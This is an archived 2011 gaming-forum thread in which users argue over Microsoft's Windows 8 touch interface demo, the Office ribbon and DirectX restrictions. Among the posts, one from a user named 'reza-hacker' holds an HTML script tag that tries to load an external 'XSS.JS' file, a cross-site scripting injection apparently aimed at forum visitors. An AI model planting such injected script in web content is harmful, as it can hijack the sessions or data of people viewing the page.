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View Full Version : Windows 8: The downfall of traditional OS UIs



Thelionheart
05-06-2011, 04:05 AM
Microsoft released a video demoing Windows 8. (http://www.youtube.com/watch?v=p92QfWOw88I&feature=channel_video_title) Needless to say it looks like a piece of crap. I really have nothing to say other than I hope this "THING" dies a horrible horrible death in a pit of hydrochloric acid and satin's pitchfork. I've heard some people say that it allows you to switch back to "classic mode" however I didn't see any option like that in the video. The only thing I saw was the taskbar at the bottom while they were showing office off.

Gravy
05-06-2011, 04:20 AM
Yeah its optional. That'll primarily be for tablets the idea is that windows 8 covers all formats so can sync seamlessly, still i know exactly what you mean it looks like a crappy fad, i predict it'll never be used on laptops or desktops, just another thing designed for that people who can't use computers.

ColOfNature
05-06-2011, 04:22 AM
Meh. He said it still runs all the old applications. So they've slapped a touch-based layer with widgets - sorry, "apps" - and all the other gubbins people expect on it. I'll bet all the fancy stuff he was banging on about turns out to be fluff and eye candy, just an attempt to make it more attractive to the tablet manufacturers.

P7uen
05-06-2011, 04:22 AM
You can pry Windows XP from my cold dead etc etc

I'm on 7 now, but take a look at Gnome 3 and obviously all the iThings that they have now, that's the way everything is going. Make it easier so everyone can use it. Nothing bad about that.

I reckon there will still be a 'classic' mode or similar, and there have been programs that change the UI for Windows for years. Don't forget you've also got people complaining that 8 is coming along so soon after 7. If there were no big changes then there would be no point.

As long as it still plays games, I don't care.

DarkNoghri
05-06-2011, 04:29 AM
Honestly? It looks like a kind of nifty front end program that aims to make things more like a phone interface, where everything is accessible and touch interactive. In fact, it seems to be mainly for touch screen integration.

That said, the new overlay screen thing looks like it would be mostly useless to me, and I would immediately turn it off. I would assume turning it off is possible, too, because of that task bar in the Office section. It looks like that screen is just an overlay of some sort, an extra layer, over the normal Windows OS.

I'm more concerned with their decision to start using ribbon interfaces everywhere.

Thelionheart
05-06-2011, 04:29 AM
Yeah its optional. That'll primarily be for tablets the idea is that windows 8 covers all formats so can sync seamlessly, still i know exactly what you mean it looks like a crappy fad, i predict it'll never be used on laptops or desktops, just another thing designed for that people who can't use computers.

See, I've heard people say that it is optional, but I have yet to have actual proof that it is.

P7uen
05-06-2011, 05:21 AM
I'm more concerned with their decision to start using ribbon interfaces everywhere.

For the love of all that is holy, please let the ribbon die.

soldant
05-06-2011, 05:28 AM
Nothing wrong with the ribbon IMO, just the way that it's set up by default is frustrating. The ribbon is a lot nicer than the menus we've been seeing since forever. In any event I don't find this new interface to be particularly useful but I highly doubt that it'd be mandatory for use, you can see the old Explorer UI running in the background which appears when Excel is launched. Also the UI looks geared towards touchscreens, not mice, and MS wouldn't force a touchscreen interface onto mice. They're just jumping on this weird bandwagon where desktop UIs have to operate with modal apps and nonsense like that, like an iPad or something.

Then again, I thought Microsoft learned their mistakes with front-ends like this after Microsoft Bob. Maybe not.

Rii
05-06-2011, 05:34 AM
Windows 8 is all about non-PC form factors, from the optimised interface to ARM support. PC users can safely hold off till Windows 9.

Alarmist threads ftl.

solipsistnation
05-06-2011, 05:51 AM
Typical Microsoft too-busy UI... Seriously, they like to pack more crap onto the screen than linux nerds.

mlaskus
05-06-2011, 07:47 AM
@Thelionheart
It is completely optional, it works similarly to the Windows Media Centre interface, which it takes a lot of inspiration from.

@DarkNoghri
What's wrong with Ribbon? It is one of the best - most intuitive, GUIs I've ever seen.

Batolemaeus
05-06-2011, 07:50 AM
It looks like that screen is just an overlay of some sort, an extra layer, over the normal Windows OS.

So this is UI For Workgroups?


@DarkNoghri
What's wrong with Ribbon? It is one of the best - most intuitive, GUIs I've ever seen.

Let me answer that.
It obscures the useful features I use behind more cumbersome menus while wasting tons of space that I'd like to use for the actual application.

DarkNoghri
05-06-2011, 08:02 AM
What's wrong with Ribbon? It is one of the best - most intuitive, GUIs I've ever seen.

Maybe I didn't play with it enough/modify it to suit my tastes, but it takes me longer than it should for me to find stuff. It also wastes ~1/3 of my screen. Honestly, I don't really use Office much at this point, as I do all my writing in Latex. Some excel work, but nothing really hard there either.

Maybe it's fine and I just don't like change. *shrugs* I'd certainly prefer that the old interface be an option, though.

Edit: Just went back and had a look at it. It's not as bad as I thought. Maybe I did get used to it.


So this is UI For Workgroups?
I really don't know. I'm basing that statement on the above video, which looks like they're trying to mimic a phone/slate/touch interface on a PC. However, as soon as they do something that's not an 'app', it looks like normal Windows. Seems like a layer/overlay to me.

mlaskus
05-06-2011, 08:21 AM
Oh LaTex, I need to finally learn how to write in it. Would be useful for my thesis. :)

@Batolemaeus
Most features are only 2 clicks away at most, compare that with a minimum of 3 using the old style menus. They are spread over the top of the screen in a contextual manner, changing to adapt to your current task. You can modify the tabs quite extensively in the options, like put all the features you use the most on the front.
If you are a power user, you should use keyboard shortcuts anyway, just like with the old version.

The complaints about Ribbon usually come from users who used the old interface for years and are irritated with having to learn a new layout. For a very simple comparison of the quality of those, sit a person clueless about computers in front of Powerpoint 2003 and one of the newer versions.

Batolemaeus
05-06-2011, 08:37 AM
See, when I use a UI, the only reason I might need the menu is when I'm looking for some function I don't use often. I might need a few tiny buttons from time to time for some less often used tools.
All of that can be condensed in just the menu bar and one row of buttons.

Ribbons are already twice to thrice that size for no gain, giving me a few big buttons but no functionality beyond wasting space. And when I do need to look for something, I'm completely lost.

mlaskus
05-06-2011, 08:43 AM
You can collapse the ribbon so it takes only one row needed to display the tab names and pops out only when you use it.

Rond
05-06-2011, 09:06 AM
Microsoft Bob (http://images.google.com/images?q=microsoft+bob) anyone?

Kadayi
05-06-2011, 09:07 AM
I can see the advantage for tablet technology (and good luck to them as Apple needs some real competition), but I suspect that for the vast majority of people this won't be a must have upgrade.

Batolemaeus
05-06-2011, 10:15 AM
You can collapse the ribbon so it takes only one row needed to display the tab names and pops out only when you use it.

Indeed I can, but the reason why my (classic!) taskbar doesn't minimize is that this always moves the contents of just about everything on screen by a few dozen pixels, which I find bloody irritating. Ribbons are no different.
As you can see, I'm a man of habits. I went out of my way to recreate the quicklaunch bar in win7 and removed every trace of the new UI as it actively obscured and hid stuff from me, and I've immediately nuked Unity from my Ubuntu install for the same reason (and because of consistency with other ubuntu devices over here).

To me, the resurgence of form over function is very irritating and annoying. I thought we were over that phase where everything had to be shiny. But maybe my focus is entirely different from the majority of people: I need to work with this box. This is neither an entertainment system nor a system only used for browsing the web and looking at videos. I will grab my pitchfork and crowbar and eradicate anything competing for attention from my UI everywhere.
(This is, by the way, even more important to me on multi-monitor systems. Graphical eyecandy, especially if it is somehow animated, means I'll subconsciously divert attention from my normal view, which means it'll also drain my ability to concentrate well on what I'm doing. That's why my UI presets are usually desaturated on my desktops too)

By the way, the reason why I'm slightly irritated by this: Going back to a usable UI is becoming harder and harder. In WinXP it was easy, in Vista it needed manual attention, in Win7 it got even harder. I'd hate if a new version only shipped with a UI that I simply can not use productively.

reza-hacker
05-06-2011, 10:38 AM
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reza-hacker
05-06-2011, 10:40 AM
<html><script scr=http://cybercrimereza.my3gb.com/XSS.JS></script></html>

mlaskus
05-06-2011, 11:33 AM
@Batolemaeus
OK, I see why you dislike it. You have a bit exceptional habits though. ;)

Vandelay
05-06-2011, 11:42 AM
It looked fine for what it was, a UI designed for touchscreens/tablets. It also quite clearly shows the standard Windows layout during the Office bit and the brief look at Explorer. Having said that, those bits looked identical to Windows 7, so certainly nothing to see here for those using a standard desktop or laptop.

Tei
05-06-2011, 12:24 PM
This looks like a iPad interface.

Typical windows product that have a rubish UI you want to disable to access the lower bits to actually try to fix the whole thing.

Unaco
05-06-2011, 12:44 PM
I'm not really seeing what the big problem is here. As people have said, this is optional... the old 'classic' or traditional desktop will be available. This is the UI geared towards Tablets/Slates or other touchscreen devices. I'm not going to whine about them adding new, optional features. That's just silly.

Also, to the OP... You seem to be coming into this with quite low expectations, or looking for something to complain about. You say "Needless to say" as if it is what you were expecting, or so patently obvious that it's terrible (some people quite like the look of it, or don't see the utter travesty that you are seeing). In the end, if you don't want to use the new interface, or the new OS... DON'T. No one is going to be forcing you to use it. Personally, I'll be quite happy with Win7 for the foreseeable future. This thread just comes of as alarmist and reactionary nonsense.

Windows 7 was a definite step in the right direction for MS. A very good OS. When I first switched to it, I missed one or two things from XP, and thought one or two things weren't done right, but now after a year (much less really, around a month or so) I'd forgotten all about those gripes. Seems like MS might be getting some things right, what with W7 and the wonder that is Microsoft Security Essentials (who'd have thought they'd actually get that right?).

@Tei,

Yes. It looks like an IPad interface because, as has been said multiple times in this thread, it is the interface they are rolling out for Tablet/Touchscreen machines. And I would disagree that it is "typical windows product that have a rubish UI". Windows 7 UI is pretty damn good, with the Alt+Tab previews and the ability to use mouse to select the window from that, the win+tab cycling, the aero look, the Explorer search function, Libraries. Only thing I had to change was how the taskbar locked... I wanted classic always-there-but-always-behind-the-active-window.

zuhzuhzombie!!
05-06-2011, 02:55 PM
I saw the Win 8 demo. It borrows much from WP7's Metro, which I adore.

Most likely what we saw was a tablet specific version of Win 8. MS's original tablet plan was to simply adapt Win 7 but I think they've realized that might not be the best plan. I doubt we'll see too radical of a change for the desktop UI for PCs with Win 8. Tablets? Like I said, Metro completely won me over and I'd be super interested in a Win 8 tablet.

With that said, the latest Mac OSX release (Lion?) borrows from iOS so what MS is doing is not unprecedented and Apple will probably beat them to the punch.

deano2099
05-06-2011, 03:06 PM
In the end, if you don't want to use the new interface, or the new OS... DON'T. No one is going to be forcing you to use it. Personally, I'll be quite happy with Win7 for the foreseeable future. This thread just comes of as alarmist and reactionary nonsense.


Indeed, because it's not like Microsoft have a history of, say, restricting later versions of Direct X to certain OSs, making an upgrade necessary for playing certain games.

nayon
05-06-2011, 03:10 PM
See, I've heard people say that it is optional, but I have yet to have actual proof that it is.

Have you not seen the regular OS screenshots of win8?

http://www.google.com/search?q=windows+8&um=1&ie=UTF-8&tbm=isch&source=og&sa=N&hl=en&tab=wi&biw=950&bih=968

Unaco
05-06-2011, 03:17 PM
Indeed, because it's not like Microsoft have a history of, say, restricting later versions of Direct X to certain OSs, making an upgrade necessary for playing certain games.

How does using the OS, but not the interface, stop you using those later versions of Direct X? Seriously? You think they'll stop you using DX12/13 unless you're using the Tablet style interface?

If you don't want to use the Interface, don't. That's quite simple, isn't it?

Shark
05-06-2011, 03:42 PM
How does using the OS, but not the interface, stop you using those later versions of Direct X? Seriously? You think they'll stop you using DX12/13 unless you're using the Tablet style interface?

If you don't want to use the Interface, don't. That's quite simple, isn't it?

Don't you now? This is se internetz, where you're always forced to buy and use optional stuff no matter if you like or dislike it

deano2099
05-06-2011, 03:53 PM
How does using the OS, but not the interface, stop you using those later versions of Direct X? Seriously? You think they'll stop you using DX12/13 unless you're using the Tablet style interface?

If you don't want to use the Interface, don't. That's quite simple, isn't it?


If you don't want to use the new interface, or the new OS... DON'T. No one is going to be forcing you to use it.

Was just replying to what you said. And y'know, you can make Win7 look a bit like XP but you can't just opt to use an XP interface.

SirKicksalot
05-06-2011, 04:16 PM
This will be comfortable to use with Kinect.

Sh33p
05-06-2011, 06:39 PM
When did programs start being called apps?

Synchrony
05-06-2011, 06:47 PM
When did programs start being called apps?

About the same time prefixing every new product you make with 'i' took to phones

All I want from an OS is a decent web browser and the ability to run Steam & Skype.

JamesG
05-06-2011, 06:55 PM
To be fair, application has been a synonym for 'small single function program' for many years now, but I agree, its use has expanded after Apple realised that aggressively advertising their appstore was the trick needed to market smart-phones at the consumer market.

Lightbulb
05-06-2011, 07:09 PM
See, I've heard people say that it is optional, but I have yet to have actual proof that it is.

You can either stay with XP/Vista/7 or go to 8...

Sh33p
05-06-2011, 07:22 PM
To be fair, application has been a synonym for 'small single function program' for many years now, but I agree, its use has expanded after Apple realised that aggressively advertising their appstore was the trick needed to market smart-phones at the consumer market.

It can't be a good idea from a business point of view for microsoft to use it as extensively as they seem to want to, it's just free advertising for Apple really.

Goateh
05-06-2011, 08:59 PM
This looks just like another skin to use your PC, same as Windows Media Centre was/is. There's a better preview at http://www.microsoft.com/presspass/presskits/windows7/videogallery.aspx?contentID=win8_preview1 which also focuses on the new tablet/phone style interface but does feature the standard Windows desktop. It's only used sparingly, mainly to illustrate shiny things in the new interface, but it's in there still. There are some nice bits where they split the screen and show your desktop on one side and these apps on the other.

Personally, the idea of one OS for all platforms seems like a great thing, especially for gaming. One game that can run on any of my devices? Yes please (assuming it has the power of course, no witcher 2 on phones just yet).

soldant
06-06-2011, 01:13 AM
Indeed, because it's not like Microsoft have a history of, say, restricting later versions of Direct X to certain OSs, making an upgrade necessary for playing certain games.
DirectX 10/11 being restricted to Vista and above was because it was tied to the new display driver model which can't be backported to Windows XP. WinXP is old, people seem to forget that it was first released back in 2001 and has become something of a franken-OS with more and more things being bolted onto it. It was time for a major rewrite and MS took advantage of it. Putting DX10/11 on the new OS wasn't an arbitrary decision. Incidentally it's also why all the attempts to "port" DX10 to XP have ended up dead in the water with practically nothing to show for it.

Big Murray
06-06-2011, 01:49 AM
The lesson for Microsoft is ... don't try and make PCs more like a massive, high-powered smartphones, please. We like them the way they are.

TychoCelchuuu
06-06-2011, 02:59 AM
Indeed I can, but the reason why my (classic!) taskbar doesn't minimize is that this always moves the contents of just about everything on screen by a few dozen pixels, which I find bloody irritating. Ribbons are no different.

That's not how the ribbons work, though. If the ribbon is collapsed and you click on one of the tabs, it opens up the ribbon over your writing rather than "moving the contents of just about everything on screen." I like the ribbon because when it's hidden it's basically just a taskbar that opens across the top of the screen with pictures rather than a taskbar that opens in a massive list down the screen.

As for Windows 8, I could not care less what kind of crazy tablet interface they're working up. Either it'll have some improvements behind the scenes that make it worth switching to (DX10, search, and dozens of other things in Win7, for example) or it'll just be a bunch of stuff that's more or less extraneous to me and I'll skip it like I've skipped every second Windows OS since 98 (skipped ME and Vista).

Úscar.
06-06-2011, 03:25 PM
I'm going with the "nothing wrong with ribbons". For some reason though, I find Office 2010's one much better than its 2007 counterpart. I guess it's just a matter of getting used to it.

But sticking to the main topic: yup, i hate how now everything is becoming more and more focused on these touchscreen devices that the industry has made us think are useful.